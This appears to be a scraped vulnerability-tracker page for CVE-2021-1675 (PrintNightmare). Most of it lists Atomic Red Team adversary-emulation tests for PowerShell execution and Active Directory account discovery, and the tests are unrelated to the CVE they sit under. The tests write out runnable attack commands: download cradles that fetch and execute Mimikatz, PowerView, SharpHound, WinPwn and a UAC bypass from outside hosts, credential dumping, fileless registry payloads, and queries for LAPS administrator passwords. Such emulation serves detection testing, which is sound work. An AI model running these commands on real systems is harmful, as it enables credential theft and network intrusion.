T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-1675
portal.msrc.microsoft.com
GitHub CVE x_refsource_MISC
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1675
kb.cert.org
GitHub CVE third-party-advisory x_refsource_CERT-VN
https://www.kb.cert.org/vuls/id/383432
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/163349/Microsoft-PrintNightmare-Proof-Of-Concept.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/163351/PrintNightmare-Windows-Spooler-Service-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/167261/Print-Spooler-Remote-DLL-Injection.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1675